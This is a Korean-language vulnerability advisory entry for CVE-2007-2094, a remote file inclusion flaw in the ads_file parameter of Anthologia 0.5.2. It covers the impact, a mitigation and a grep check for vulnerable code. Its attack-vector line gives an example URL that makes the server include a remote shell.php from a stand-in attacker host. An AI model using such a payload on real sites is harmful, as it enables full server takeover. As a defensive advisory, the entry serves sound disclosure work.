🔍 CVE-2007-2094

7.5
CVSS Score
HIGH
2007-04-18
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

Anthologia 0.5.2의 index.php에서 ads_file 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 악의적인 원격 PHP 파일을 로드하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다. 입력 검증 부재로 인해 외부 URL의 PHP 파일을 직접 포함할 수 있어 완전한 서버 장악이 가능합니다.

💡 쉬운 설명

Anthologia 웹사이트에서 '광고 파일' 부분에 다른 사이트의 악성 파일 주소를 입력하면, 그 파일이 실행되는 문제입니다. 공격자는 이를 이용해 웹서버를 완전히 제어할 수 있습니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in index.php in Anthologia 0.5.2 allows remote attackers to execute arbitrary PHP code via a URL in the ads_file parameter.

📍 영향받는 시스템

Anthologia 0.5.2 및 그 이전 버전

⚔️ 공격 벡터

ads_file 파라미터에 원격 PHP 파일 URL 전달 (예: index.php?ads_file=http://attacker.com/shell.php)

🛡️ 대응 방법

Anthologia를 패치 버전으로 업그레이드하거나, ads_file 파라미터에 대한 엄격한 입력 검증 및 화이트리스트 필터링 구현

🔧 검증 코드

결과가 출력되면 취약한 코드가 존재함을 의미하며, include/require 구문에서 필터링 없이 ads_file을 직접 사용하는지 확인합니다.

Shell / Script
grep -r 'include.*ads_file\|require.*ads_file' /var/www/html/ 2>/dev/null | grep -v '.git' | head -1

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP